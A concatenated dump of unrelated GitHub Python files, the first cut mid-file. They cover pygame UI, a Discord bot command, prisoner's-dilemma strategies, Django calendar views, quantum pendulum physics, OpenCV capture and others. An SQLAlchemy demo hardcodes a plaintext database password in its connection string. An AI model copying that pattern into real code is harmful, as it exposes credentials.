self.screen_rect.centery + self.rect.height + 10\n elif self.msg == 'Hard':\n self.rect.centerx = self.screen_rect.centerx + self.rect.width +10\n self.rect.centery = self.screen_rect.centery + self.rect.height + 10\n elif self.msg == 'Play':\n self.rect.center = self.screen_rect.center\n\n \n \n \n def _prep_msg(self):\n \"\"\"Turn msg into a rendered image and center text on the button.\"\"\"\n self.msg_image = self.font.render(self.msg, True, self.text_color, \n self.button_color) # Boolean value to turn antialiasing on or off (antialiasing\n # makes the edges of the text smoother).\n self.msg_image_rect = self.msg_image.get_rect()\n self.msg_image_rect.center = self.rect.center\n \n \n \n \n \n def _draw_button(self):\n # Draw blank button and then draw message.\n self.screen.fill(self.button_color, self.rect)\n self.screen.blit(self.msg_image, self.msg_image_rect)\n \n\n ","repo_name":"Iman-Daneshi/Alien_invasion","sub_path":"button.py","file_name":"button.py","file_ext":"py","file_size_in_byte":2600,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"12574842725","text":"import arrow\nimport discord\n\nfrom sigma.core.utilities.data_processing import get_image_colors\n\n\nasync def serverinformation(_cmd, pld):\n \"\"\"\n :param _cmd: The command object referenced in the command.\n :type _cmd: sigma.core.mechanics.command.SigmaCommand\n :param pld: The payload with execution data and details.\n :type pld: sigma.core.mechanics.payload.CommandPayload\n \"\"\"\n gld = pld.msg.guild\n own = gld.owner\n guild_icon = str(gld.icon.url) if gld.icon else None\n response = discord.Embed(color=await get_image_colors(guild_icon))\n response.set_author(name=gld.name, icon_url=guild_icon)\n creation_time = arrow.get(gld.created_at).format('DD. MMMM YYYY')\n bot_count = 0\n user_count = 0\n for user in gld.members:\n if user.bot:\n bot_count += 1\n else:\n user_count += 1\n guild_text = f'Name: **{gld.name}**'\n guild_text += f'\\nID: **{gld.id}**'\n guild_text += f'\\nMembers: **{user_count}**'\n guild_text += f'\\nBots: **{bot_count}**'\n guild_text += f'\\nChannels: **{len(gld.channels)}**'\n guild_text += f'\\nRoles: **{len(gld.roles)}**'\n guild_text += f'\\nCreated: **{creation_time}**'\n response.add_field(name='Guild Info', value=guild_text)\n own_creation_time = arrow.get(own.created_at).format('DD. MMMM YYYY')\n own_text = f'Username: **{own.name}**#{own.discriminator}'\n own_text += f'\\nNickname: **{own.display_name}**'\n own_text += f'\\nID: **{own.id}**'\n own_text += f'\\nStatus: **{str(own.status).replace(\"dnd\", \"busy\").title()}**'\n own_text += f'\\nColor: **{str(own.color).upper()}**'\n own_text += f'\\nTop Role: **{own.top_role.name}**'\n own_text += f'\\nCreated: **{own_creation_time}**'\n response.add_field(name='Owner Info', value=own_text)\n if gld.afk_channel:\n detail_text = f'AFK Channel: **{gld.afk_channel.name}**'\n detail_text += f'\\nAFK Timeout: **{gld.afk_timeout}**'\n else:\n detail_text = 'AFK Channel: **None**'\n detail_text += '\\nAFK Timeout: **None**'\n detail_text += f'\\nEmojis: **{len(gld.emojis)}**'\n detail_text += f'\\nLarge: **{gld.large}**'\n detail_text += f'\\nShard: **{gld.shard_id}**'\n detail_text += f'\\nVerification: **{gld.verification_level.name.upper()}**'\n response.add_field(name='Details', value=detail_text)\n await pld.msg.channel.send(embed=response)\n","repo_name":"lu-ci/apex-sigma-core","sub_path":"sigma/modules/utilities/information/serverinformation.py","file_name":"serverinformation.py","file_ext":"py","file_size_in_byte":2375,"program_lang":"python","lang":"en","doc_type":"code","stars":24,"dataset":"github-code","pt":"75"} +{"seq_id":"21211432042","text":"#Grupo:\r\n# Lucía Secín (748/19)\r\n# Pablo Dallegri (445/20)\r\n\r\nfrom Prisoner import Prisoner\r\nfrom difflib import SequenceMatcher as StrategyMatcher \r\nimport random\r\n\r\n# Mastermind onoce algunas estrategias muy basicas de juego e intenta predecir contra quien esta jugando.\r\n# A veces, le sale muy bien, otras no tanto.\r\n\r\nclass Mastermind(Prisoner):\r\n\r\n def __init__(self):\r\n \r\n self.name=\"Mastermind\" # nombre completo a imprimir\r\n self.N = 0 # total de rondas hasta ahora\r\n \r\n self.possible_strategies = {\r\n \"Disentido\": [],\r\n \"Cooperativo\": [],\r\n \"Rencoroso\": [],\r\n \"Copiador\": [],\r\n \"Alternador\": []\r\n }\r\n \r\n self.my_strategy = [] # Guarda su historial\r\n self.other_strategy_history = [] # Guarda historial de estrategias de su oponente\r\n self.most_similar_strategy = \"\" # Posible estrategia oponente\r\n self.most_similar_score = 0\r\n \r\n # Calcula la similitud entre el oponente y los que podria ser \r\n def calculate_similarity(self):\r\n \r\n similarities = {\r\n \"Disentido\" : 0,\r\n \"Cooperativo\": 0,\r\n \"Rencoroso\": 0,\r\n \"Copiador\": 0,\r\n \"Alternador\": 0\r\n }\r\n \r\n for strategy in self.possible_strategies:\r\n similarity = StrategyMatcher(None,self.possible_strategies[strategy],self.other_strategy_history).ratio()\r\n similarities[strategy] = similarity\r\n \r\n self.most_similar_strategy = max(similarities, key = similarities.get)\r\n self.most_similar_score = similarities[self.most_similar_strategy]\r\n \r\n # Estrategias de juego de posibles jugadores\r\n def pick_strategy_opponent(self, player_name):\r\n pick = True\r\n if player_name == \"Disentido\":\r\n #Siempre Disiente\r\n pick = False\r\n \r\n elif player_name == \"Cooperativo\":\r\n #Siempre Coopera\r\n pick = True\r\n \r\n elif player_name == \"Rencoroso\":\r\n #Una vez traicionado disiente siempre\r\n if False in self.my_strategy:\r\n pick = False\r\n else:\r\n pick = True\r\n \r\n elif player_name == \"Copiador\": \r\n #Elije mi ultima eleccion\r\n if self.N > 0:\r\n pick = self.my_strategy[-1]\r\n \r\n elif player_name == \"Alternador\":\r\n #Elije el alterno a su ultima eleccion\r\n if self.N > 0:\r\n pick = not self.possible_strategies[player_name][-1]\r\n \r\n self.possible_strategies[player_name].append(pick) \r\n \r\n # Calcula el movimiento de cada uno de los posibles oponentes y los agrega a su historial\r\n def other_opponents_pick(self):\r\n for strategy in self.possible_strategies:\r\n self.pick_strategy_opponent(strategy)\r\n \r\n # Elijo mi estrategia \r\n def pick_strategy(self):\r\n self.calculate_similarity() # Me fijo a que posible oponente se parece mas mi oponente\r\n \r\n opponent = self.most_similar_strategy\r\n opponent_similarity = self.most_similar_score\r\n pick = True\r\n \r\n if self.N < 4: #Randomiza hasta la 5ta jugada para identificar al jugador y luego elige estrategia\r\n pick = bool(random.getrandbits(1))\r\n \r\n elif opponent_similarity < 0.7: # Si no encuentra un oponente similar, elige disentir\r\n pick = False\r\n \r\n else: \r\n if opponent == \"Disentido\":\r\n # Si nunca coopera, me conviene disentir\r\n pick = False\r\n \r\n elif opponent == \"Cooperativo\":\r\n # Si siempre coopera, me conviene siempre disentir\r\n pick = False\r\n \r\n elif opponent == \"Rencoroso\":\r\n # La mejor estrategia contra este es cooperar siempre hasta el ultimo movimiento\r\n # y ahi disentir, pero no sabemos cuantas rondas se juegan\r\n if False in self.other_strategy_history:\r\n pick = False\r\n else:\r\n pick = True\r\n \r\n elif opponent == \"Copiador\":\r\n # Pasa lo mismo que con rencoroso, solo que aca despues de poner una falsa me conviene seguir cooperando\r\n # (en genral)\r\n if self.N < 99:\r\n pick = True \r\n else:\r\n pick = False\r\n \r\n elif opponent == \"Alternador\":\r\n #Si la proxima coopera, me conviene disentir y si la proxima disiente tambien\r\n pick = False\r\n \r\n return pick\r\n \r\n # Proceso resultados\r\n def process_results(self, my_strategy, other_strategy):\r\n self.other_opponents_pick() # Calculo que habria elegido cada posible oponente\r\n self.N += 1\r\n self.other_strategy_history.append(other_strategy) # guardo estrategia del oponente al historial\r\n self.my_strategy.append(my_strategy) # guardo mi estrategia en mi historial\r\n","repo_name":"luciasecin/Prisoner-Tournament","sub_path":"PlayerMastermind.py","file_name":"PlayerMastermind.py","file_ext":"py","file_size_in_byte":5229,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"34263664434","text":"from cloudlydev.aws_mocks.mocks.cognito import CognitoIdentityProvider\n\nmocked = {\n \"CognitoIdentityProvider\": CognitoIdentityProvider,\n}\n\n\ndef mock_for(cls, method, original, config, **kwargs):\n cls_name = cls.__class__.__name__\n\n if cls_name in mocked:\n return mocked[cls_name](config or {}).mock(method, **kwargs)\n else:\n return original(cls, method, kwargs)\n","repo_name":"nanaduah1/cloudlydev","sub_path":"src/cloudlydev/aws_mocks/mocker.py","file_name":"mocker.py","file_ext":"py","file_size_in_byte":388,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"73048819443","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Sep 6 12:25:47 2019\n\n@author: dell\n\"\"\"\n\nimport cv2\n\n# 1.获取本地摄像头 --folder_path 截取图片的存储目录\ndef get_img_from_camera_local(folder_path):\n cap = cv2.VideoCapture(0)\n i = 1\n while True:\n ret, frame = cap.read()\n cv2.imshow(\"capture\", frame)\n print(str(i))\n \n #cv2.imwrite(folder_path + str(i) + '.jpg', frame) # 存储为图像\n if cv2.waitKey(1) == ord('e'):\n break\n i += 1\n \n cap.release()\n cv2.destroyAllWindows()\n \n# 2.测试\nif __name__ == '__main__':\n folder_path = 'E:\\\\'\n get_img_from_camera_local(folder_path)","repo_name":"lijianmin01/Third_college_grade","sub_path":"视觉/老师课件/数字图像处理-01-code- 绪论/01_GetImageFromCamera.py","file_name":"01_GetImageFromCamera.py","file_ext":"py","file_size_in_byte":626,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"35491999213","text":"from sqlalchemy import create_engine, MetaData, Column, Table , Integer, String, ForeignKeyConstraint\n\n\n\n\ndb_string = 'postgresql+psycopg2://postgres:Sadof123@localhost/new_test'\n\ne = create_engine(db_string ,echo = True)\n\n\ndef flight_execute():\n\tflights = e.execute(\n\t\t\"\"\" select f.flight_id,a.airport_name,f.actual_departure,f.actual_arrival from flights as f join airports as a on f.arrival_airport = a.airport_code \n\t\t\twhere a.city='St. Petersburg' and f.actual_arrival is not null\"\"\")\n\n\tfor flight in flights.fetchall():\n\t\tprint(*flight)\n\n\nmetadata = MetaData()\nuser_table = Table('user',metadata,\n\t\t\t\tColumn('id', Integer, primary_key = True),\n\t\t\t\tColumn('username', String),\n\t\t\t\tColumn('password', String)\n\t\t\t\t)\npost_table = Table('post',metadata,\n\t\t\t\tColumn('id', Integer, primary_key = True),\n\t\t\t\tColumn(\"text\", String, nullable = False),\n\t\t\t\tColumn(\"id_author\", Integer),\n\t\t\t\tForeignKeyConstraint(\n\t\t\t\t\t[\"id_author\"],\n\t\t\t\t\t[\"user.id\"])\n\t\t\t\t)\nmetadata.create_all(e)\n\n\nprint(user_table.c.username == \"ed\")\nprint(str(user_table.c.username == \"ed\"))\n\n\n","repo_name":"Sadof/random_scripts","sub_path":"sqlalchemy1/postgres.py","file_name":"postgres.py","file_ext":"py","file_size_in_byte":1058,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"22853114760","text":"from collections import Counter, defaultdict\n\nfrom django.utils.dateparse import parse_date\n\nfrom rest_framework.permissions import IsAuthenticated\nfrom rest_framework.response import Response\nfrom rest_framework.views import APIView\n\nfrom apps.macroplate.models import AssignedMeal, Customer, DailySchedule\n\nfrom ...core.constants import WORKDAYS\nfrom ...core.utils import date_range\nfrom ..utils import (\n get_custom_daily_schedules_by_date,\n get_default_daily_schedules_by_workday,\n get_scheduled_meals_for_date,\n)\nfrom .serializers import (\n AssignedMealForCalendarSerializer,\n CalendarQueryParamsSerializer,\n SaveScheduleSerializer,\n)\n\n\nclass CalendarAssignedMealsView(APIView):\n \"\"\"List all the customers assigned meals to display in the calendar.\"\"\"\n\n permission_classes = [IsAuthenticated]\n\n def get(self, request, *args, **kwargs):\n \"\"\"Get list of assigned meals for customer for date range.\n\n This endpoint requires next query params:\n customer_id - id of the customer\n start - start date\n end - end date\n \"\"\"\n serializer = CalendarQueryParamsSerializer(data=request.query_params)\n serializer.is_valid(raise_exception=True)\n data = serializer.data\n\n customer_id = data.get('customer_id')\n date_from = parse_date(data.get('start'))\n date_to = parse_date(data.get('end'))\n\n # get customer\n customer = Customer.objects.get(pk=customer_id)\n\n assigned_meals = AssignedMeal.objects.filter(\n assigned_menu__customer=customer,\n assigned_menu__daily_menu__date__gte=date_from,\n assigned_menu__daily_menu__date__lte=date_to,\n )\n\n serialized_assigned_meals = AssignedMealForCalendarSerializer(\n assigned_meals,\n many=True\n )\n\n return Response(serialized_assigned_meals.data)\n\n\nclass CalendarScheduledMealsView(APIView):\n \"\"\"View for working with the customer's meal schedule in calendar.\n\n This endoint allow to get and edit only meals scheduled fot today and\n future days.\n \"\"\"\n permission_classes = [IsAuthenticated]\n\n def get(self, request, *args, **kwargs):\n \"\"\"Get list of scheduled meals for customer for date range.\n\n This endpoint requires next query params:\n customer_id - id of the customer\n start - start date\n end - end date\n \"\"\"\n serializer = CalendarQueryParamsSerializer(data=request.query_params)\n serializer.is_valid(raise_exception=True)\n serializer_data = serializer.data\n\n customer_id = serializer_data.get('customer_id')\n date_from = parse_date(serializer_data.get('start'))\n date_to = parse_date(serializer_data.get('end'))\n today = parse_date(serializer_data.get('today'))\n\n customer = Customer.objects.get(pk=customer_id)\n first_delivery_date = customer.first_delivery_date\n\n if date_from < today:\n date_from = today\n if date_from < first_delivery_date:\n date_from = first_delivery_date\n\n schedule_meals_events = self._get_scheduled_meals(\n customer_id,\n date_from,\n date_to,\n )\n\n return Response(schedule_meals_events)\n\n def put(self, request, *args, **kwargs):\n \"\"\"Update scheduled meals.\n\n This endpoint accepts elements describing each meal for the current\n date, as well as the date range in which they are defined.\n The date range is necessary to take into account the days from which\n all meals were removed.\n \"\"\"\n serializer = SaveScheduleSerializer(data=request.data)\n serializer.is_valid(raise_exception=True)\n serializer_data = serializer.data\n\n date_from = parse_date(serializer_data.get('start'))\n date_to = parse_date(serializer_data.get('end'))\n today = parse_date(serializer_data.get('today'))\n items = serializer_data.get('items')\n customer_id = serializer_data.get('customer_id')\n\n customer = Customer.objects.get(pk=customer_id)\n first_delivery_date = customer.first_delivery_date\n\n if date_from < today:\n date_from = today\n if date_from < first_delivery_date:\n date_from = first_delivery_date\n\n count = self._save_scheduled_meals(\n customer_id=customer_id,\n date_from=date_from,\n date_to=date_to,\n items=items,\n )\n\n return Response(data={\"count\": count})\n\n def _get_scheduled_meals(self, customer_id, date_from, date_to):\n \"\"\"Get scheduled meals for each day in date range.\n\n We process all the buyer's schedules over a period of time.\n We consider custom schedules, and if there are none, we use default\n schedules.\n \"\"\"\n items = []\n\n # Get days, where assigned meals\n filled_dates = AssignedMeal.objects.filter(\n assigned_menu__customer_id=customer_id,\n assigned_menu__daily_menu__date__gte=date_from,\n assigned_menu__daily_menu__date__lte=date_to,\n ).values_list('assigned_menu__daily_menu__date', flat=True)\n filled_dates = set(filled_dates)\n\n default_schedules = get_default_daily_schedules_by_workday(customer_id)\n custom_schedules = get_custom_daily_schedules_by_date(\n customer_id=customer_id,\n date_from=date_from,\n date_to=date_to,\n )\n\n for current_date in date_range(date_from, date_to, workdays_only=True):\n if current_date in filled_dates:\n continue\n\n default_schedule = default_schedules.get(current_date.weekday())\n custom_schedule = custom_schedules.get(current_date)\n\n schedule = custom_schedule or default_schedule\n\n daily_items = get_scheduled_meals_for_date(\n date=current_date,\n breakfasts=schedule.breakfasts,\n lunches=schedule.lunches,\n custom=bool(custom_schedule),\n )\n items.extend(daily_items)\n return items\n\n def _save_scheduled_meals(self, customer_id, date_from, date_to, items):\n \"\"\"Save scheduled meals for each day in date range.\n\n When processing each day, we calculate the total number of dishes for\n each day, and compare it with the schedule. If there is a custom\n schedule, we compare it with it, if not, we compare it with the\n default.\n If the schedules match, we don't do anything. If they differ, we create\n or update a custom schedule for that day.\n \"\"\"\n # Group items by dates\n groups = defaultdict(Counter)\n for item in items:\n date = parse_date(item.get('date'))\n type = item.get('type')\n groups[date].update([type])\n\n default_schedules = get_default_daily_schedules_by_workday(customer_id)\n custom_schedules = get_custom_daily_schedules_by_date(\n customer_id=customer_id,\n date_from=date_from,\n date_to=date_to,\n )\n\n edited_count = 0\n\n for current_date in date_range(date_from, date_to, workdays_only=True):\n if current_date.weekday() not in WORKDAYS:\n continue\n\n default_schedule = default_schedules.get(current_date.weekday())\n custom_schedule = custom_schedules.get(current_date)\n\n # calculate new counter for this day\n new_schedule = groups.get(current_date, {})\n breakfasts = new_schedule.get('breakfast', 0)\n lunches = new_schedule.get('lunch', 0)\n\n # Compare numbers with schedule for this date\n schedule = custom_schedule or default_schedule\n is_breakfasts_count_equal = schedule.breakfasts == breakfasts\n is_lunches_count_equal = schedule.lunches == lunches\n\n if is_breakfasts_count_equal and is_lunches_count_equal:\n continue\n\n edited_count += 1\n DailySchedule.objects.update_or_create(\n customer_id=customer_id,\n date=current_date,\n day_of_week=current_date.weekday(),\n defaults=dict(\n breakfasts=breakfasts,\n lunches=lunches,\n )\n )\n return edited_count\n","repo_name":"princesuccessive/macro_plate","sub_path":"apps/calendar/api/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":8444,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"11852569584","text":"# Author: Leonardo Flores Torres\n\n###############################################\n# Quantum State\n###############################################\n\n\nimport numpy as np\nfrom numba import njit\nfrom const import U0, L, M, H, G\nimport mathieu_functions as mf\nfrom scipy.integrate import odeint\nfrom scipy.interpolate import UnivariateSpline\n\n\ndef energy(val: float):\n return (H ** 2 / (8 * M * L ** 2)) * val + U0\n\n\n@njit\ndef energy_numba(val: float):\n return (H ** 2 / (8 * M * L ** 2)) * val + U0\n\n\ndef energy_crit(vals: list):\n # for indx, val in enumerate(vals):\n # if energy(val) > 2 * U0:\n # n_crit = indx - 1\n # break\n # return n_crit, energy(vals[n_crit])\n n_crit = np.argmax(energy(vals) > 2 * U0) - 1\n return n_crit, energy(vals[n_crit])\n\n\n# Time evolution operator\ndef time_opr(val: float, t: float):\n return np.exp(1j * energy(val) * t / H)\n\n\n# Gaussian coeficients that describe the eigen states distribution\n# for creating the state of the quantum pendulum\ndef gauss_coeff(nbar: int, n: int, sigma: float):\n # return ((-1) ** np.random.randint(2)) * np.exp(-((n - nbar) ** 2) / (2 * sigma))\n return np.exp(-((n - nbar) ** 2) / (2 * sigma ** 2))\n\n\n@njit\ndef gauss_coeff_numba(nbar: int, n: int, sigma: float):\n return np.exp(-((n - nbar) ** 2) / (2 * sigma ** 2))\n\n\n# Normalization factor for the quantum state\ndef norm(nbar: int, n_max: int, sigma: float):\n # summation = np.zeros(n_max)\n # for i in range(len(summation)):\n # summation[i] = gauss_coeff(nbar, i, sigma)\n # return 1 / np.sqrt(np.sum(summation ** 2))\n\n summation = np.array([gauss_coeff(nbar, i, sigma) for i in range(n_max)])\n\n return 1 / np.sqrt(np.sum(summation ** 2))\n\n\n\n@njit\ndef norm_numba(nbar: int, n_max: int, sigma: float):\n # sum = 0\n\n # for i in range(n_max):\n # sum += gauss_coeff_numba(nbar, i, sigma) ** 2\n\n # return 1 / np.sqrt(sum)\n\n summation = np.zeros(n_max)\n\n for i in range(n_max):\n summation[i] = gauss_coeff_numba(nbar, i, sigma)\n\n return 1 / np.sqrt(np.sum(summation ** 2))\n\n\n# Eigen states selection function.\ndef eigen_state(n: int, x: np.ndarray, vects: np.ndarray):\n norm_factor = 1 / np.sqrt(np.pi)\n\n # Select Ce or Se depending on n.\n if n % 2 == 0:\n # Select a_i vectors\n return mf.ce_even(int(n / 2), x, vects[0::2]) * norm_factor\n else:\n # Select b_i vetors\n return mf.se_even(int((n - 1) / 2), x, vects[1::2]) * norm_factor\n\n\n@njit\ndef eigen_state_numba(n: int, x: list, vects: list):\n norm_factor = 1 / np.sqrt(np.pi)\n\n # Adjust n for ce & se, respectively\n if n % 2 == 0:\n # Select a_i vectors\n return mf.ce_even_numba(int(n / 2), x, vects[0::2]) * norm_factor\n else:\n # Select b_i vetors\n return mf.se_even_numba(int((n - 1) / 2), x, vects[1::2]) * norm_factor\n\n\n# Quantum state\ndef state(nbar: int, sigma: float, x: np.ndarray, vects: np.ndarray):\n # n_max = len(vects)\n # summation = [gauss_coeff(nbar, i, sigma) * eigen_state(i, x, vects) for i in range(n_max)]\n\n # return norm(nbar, n_max, sigma) * np.sum(summation, axis=0)\n\n n_max = len(vects)\n summation = np.zeros((n_max, len(x)))\n\n for i in range(n_max):\n summation[i] = gauss_coeff(nbar, i, sigma) * eigen_state(i, x, vects)\n\n return norm(nbar, n_max, sigma) * np.sum(summation, axis=0)\n\n\n# Esta version de la funcion de estado va RAPIDO!\n# Esta version de la funcion de estado va RAPIDO!\n# Esta version de la funcion de estado va RAPIDO!\n@njit\ndef state_numba(nbar, sigma, x, vects):\n n_max = len(vects)\n\n # 1ST BLOCK\n # sum = []\n\n # for i in range(n_max):\n # .append(gauss_coeff(nbar, i, sigma) * eigen_state_numba(i, x, vects))\n\n # sum = np.transpose(np.array(sum))\n # return norm(nbar, n_max, sigma) * np.sum(sum, axis=1)\n\n # 2ND BLOCK\n summation = np.zeros((n_max, len(x)))\n\n for i in range(n_max):\n summation[i] = gauss_coeff_numba(nbar, i, sigma) * eigen_state_numba(\n i, x, vects\n )\n\n sum = np.transpose(summation)\n\n return norm_numba(nbar, n_max, sigma) * np.sum(sum, axis=1)\n # 3RD BLOCK\n # n_max = len(vects)\n # sum = [\n # gauss_coeff(nbar, i, sigma) * eigen_state_numba(i, x, vects)\n # for i in range(n_max)\n # ]\n # sum = np.transpose(sum)\n\n # return norm(nbar, n_max, sigma) * np.sum(sum, axis=1)\n\n\n# Time dependent quantum state.\ndef state_time(\n nbar: int,\n sigma: float,\n x: np.ndarray,\n time: float,\n vals: np.ndarray,\n vects: np.ndarray\n):\n n_max = len(vals)\n\n summation = [time_opr(val, time) * gauss_coeff(nbar, indx, sigma) * \\\n eigen_state(indx, x, vects) for indx, val in enumerate(vals)]\n\n return norm(nbar, n_max, sigma) * np.sum(summation, axis=0)\n\n\n# Generic function for the expected angle to the nth power.\ndef generic_integrand(\n nbar: int,\n sigma: float,\n x: np.ndarray,\n time: float,\n vals: np.ndarray,\n vects: np.ndarray,\n powr: int\n):\n return (x ** powr) * np.abs(state_time(nbar, sigma, x, time, vals, vects)) ** 2\n\n\n# Generic integration for the generic expectation to the nth power.\ndef generic_expectation(\n nbar: int,\n sigma: float,\n x: np.ndarray,\n time: float,\n vals: np.ndarray,\n vects: np.ndarray,\n powr: int\n):\n spl = UnivariateSpline(x, generic_integrand(nbar, sigma, x, time, vals, vects, powr), s=0)\n\n return spl.integral(x[0], x[-1])\n\n\ndef uncertainty(\n nbar: int,\n sigma: float,\n x: np.ndarray,\n time: np.ndarray,\n vals: np.ndarray,\n vects: np.ndarray\n):\n exp_data = [[generic_expectation(nbar, sigma, x, t, vals, vects, 2),\n generic_expectation(nbar, sigma, x, t, vals, vects, 1)]\n for t in time]\n exp_data = np.array(exp_data)\n\n exp_powr_two = exp_data[:, 0]\n exp_powr_one = exp_data[:, 1]\n\n unc = np.sqrt(exp_powr_two - exp_powr_one ** 2)\n\n return unc, exp_powr_one\n\n\ndef expected_energy(\n nbar: int,\n sigma: float,\n vals: np.ndarray\n):\n summation = [energy(val) * np.abs(gauss_coeff(nbar, indx, sigma)) ** 2 for indx, val in enumerate(vals)]\n\n return np.sum(summation) * (norm(nbar, len(vals), sigma) ** 2)\n\n\ndef classic_pend_energy(\n init_en: float,\n time: np.ndarray,\n):\n # The model function is the differential equation\n # corresponding to this problem\n def model(u, t):\n return (u[1], - (G / L) * np.sin(u[0]))\n\n # Initial angle in terms of the initial energy.\n init_ang = + np.arccos(1 - init_en / (M * G * L))\n\n # The initial velocity.\n init_vel = 0.0\n\n # Initial conditions.\n init_cond = [init_ang, init_vel]\n\n # Solution per time-step\n solution = odeint(model, init_cond, time)\n\n return solution[:, 0]\n\n\ndef classic_pend_angle(\n init_ang: float,\n time: np.ndarray,\n):\n # The model function is the differential equation\n # corresponding to this problem\n def model(u, t):\n return (u[1], - (G / L) * np.sin(u[0]))\n\n # The initial velocity.\n init_vel = 0.0\n\n # Initial conditions.\n init_cond = [init_ang, init_vel]\n\n # Solution per time-step\n solution = odeint(model, init_cond, time)\n\n return solution[:, 0]\n\n\ndef classic_pend_vel(\n init_ang: float,\n init_en: float,\n time: np.ndarray,\n):\n # The model function is the differential equation\n # corresponding to this problem\n def model(u, t):\n return (u[1], - (G / L) * np.sin(u[0]))\n\n # The initial velocity.\n init_vel = (1 / L) * np.sqrt(2 * ((init_en / M) - G * L * (1 - np.cos(init_ang))))\n\n # Initial conditions.\n init_cond = [init_ang, -init_vel]\n\n # Solution per time-step\n solution = odeint(model, init_cond, time)\n\n return solution[:, 0]\n","repo_name":"leoflotor/quantum-pendulum","sub_path":"quantum_state.py","file_name":"quantum_state.py","file_ext":"py","file_size_in_byte":7799,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"24012001727","text":"import importlib\nimport time\nfrom tak_env.types import Stone, Player\nimport os\nimport sys\nimport numpy as np\nfrom operator import itemgetter\n\n\nclass Viewer():\n\n def __init__(self, env, delay=0.5, block_size=150):\n \n pygame = importlib.import_module('pygame')\n pygame.init()\n\n board_width = env.board_size * block_size\n screen = pygame.display.set_mode([board_width, board_width])\n\n self.config = {\n 'block_size': block_size,\n 'delay': delay,\n 'env': env,\n 'pygame': pygame,\n 'screen': screen,\n }\n\n def render(self, state):\n\n env, pygame, screen, block_size, delay = itemgetter(\n 'env', 'pygame', 'screen', 'block_size', 'delay'\n )(self.config)\n\n screen.fill((0,0,0)) # erase screen \n draw_lines(pygame, screen, env.board_size, block_size)\n \n board_height = state.shape[0]\n for (idx, *space), value in sorted(np.ndenumerate(state), reverse=True):\n offset = board_height - idx\n draw_stone(pygame, screen, block_size, offset, space, value)\n\n if env.done:\n reward = env.reward * env.turn\n if reward > 0:\n print('White Wins!')\n elif reward < 0:\n print('Black Wins!')\n else:\n print('Tie')\n\n pygame.display.flip()\n wait(env.done, delay)\n\ndef wait(done, delay):\n if done:\n if sys.version_info >= (3, 0):\n input(\"Press Enter key to continue...\")\n else:\n raw_input(\"Press Enter key to continue...\")\n else:\n time.sleep(delay)\n\ndef draw_stone(pygame, screen, block_size, height, space, value):\n\n if value == 0:\n return\n\n image = get_image(pygame, value)\n image_width, image_height = image.get_size()\n\n row, col = space\n stack_offset = height * 10\n\n posx = col * block_size + (block_size / 2) - image_width / 2\n posy = row * block_size + block_size - image_height - stack_offset\n\n screen.blit(image,(posx,posy))\n\ndef draw_lines(pygame, screen, board_size, block_size):\n color = (255,255,255)\n length = board_size * block_size\n for i in range(board_size):\n offset = i * block_size\n pygame.draw.line(screen, color, (offset, length), (offset, 0))\n pygame.draw.line(screen, color, (length, offset), (0, offset))\n\ndef get_image(pygame, piece):\n return {\n Stone.FLAT.value: get_image_from_filename(pygame, 'white.png'),\n Stone.FLAT.value * -1: get_image_from_filename(pygame, 'black.png'),\n Stone.STANDING.value: get_image_from_filename(pygame, 'white_standing.png'),\n Stone.STANDING.value * -1: get_image_from_filename(pygame, 'black_standing.png'),\n Stone.CAPITAL.value: get_image_from_filename(pygame, 'white_capital.png'),\n Stone.CAPITAL.value * -1: get_image_from_filename(pygame, 'black_capital.png'),\n }[piece]\n\ndef get_image_from_filename(pygame, filename):\n image_dir = os.path.dirname(__file__) + '/images/'\n image = pygame.image.load(image_dir + filename)\n size = image.get_size()\n size = (int(size[0] / 4), int(size[1] / 4))\n return pygame.transform.scale(image, size)","repo_name":"mleonardallen/DeepRL-TakEnv","sub_path":"tak_env/viewer.py","file_name":"viewer.py","file_ext":"py","file_size_in_byte":3233,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"75"} +{"seq_id":"9660273383","text":"def dfs(t, p):\n global answer\n if t > n:\n return\n if t <= n:\n if p >= answer:\n answer = p\n for i in range(t, n):\n dfs(i + l[i][0], p + l[i][1])\n\nn = int(input())\nl = [list(map(int, input().split())) for _ in range(n)]\nanswer = 0\n\ndfs(0, 0)\nprint(answer)","repo_name":"MoonMinHyuk1/algorithm","sub_path":"python/inflearn/section7/7-2.py","file_name":"7-2.py","file_ext":"py","file_size_in_byte":297,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"5494878318","text":"class Tweet:\n def __init__(self, tweet_id, timestamp_ms, user_id, tweet_text):\n self.tweet_id = tweet_id\n self.timestamp_ms = timestamp_ms\n self.user_id = user_id\n self.tweet_text = tweet_text\n\n self.cluster_id = None\n self.cluster_name_entity = None\n self.tweet_tokens = None\n","repo_name":"fferegrino/event-detection","sub_path":"structures/tweet.py","file_name":"tweet.py","file_ext":"py","file_size_in_byte":329,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"27402795304","text":"import cv2\n\nvcapture= cv2.imread(\"C:/Users/Student/Dropbox/My PC (LAPTOP-LJVP8VBR)/Pictures/Example/tc.JPG\")\n\n\ngrayscale = cv2.cvtColor(vcapture, cv2.COLOR_BGR2GRAY)\nedge = cv2.Canny(grayscale, 75, 125)\ncv2.imshow('Edge frame', edge)\n \n\ncap = cv2.VideoCapture(0)\ncap.set(3, 640)\ncap.set(4, 420)\n\n# import cascade file for facial recognition\nfaceCascade = cv2.CascadeClassifier(cv2.data.haarcascades + \"haarcascade_frontalface_default.xml\")\n\n'''\n # if you want to detect any object for example eyes, use one more layer of classifier as below:\n eyeCascade = cv2.CascadeClassifier(cv2.data.haarcascades + \"haarcascade_eye_tree_eyeglasses.xml\")\n'''\n\nwhile True:\n success, img = 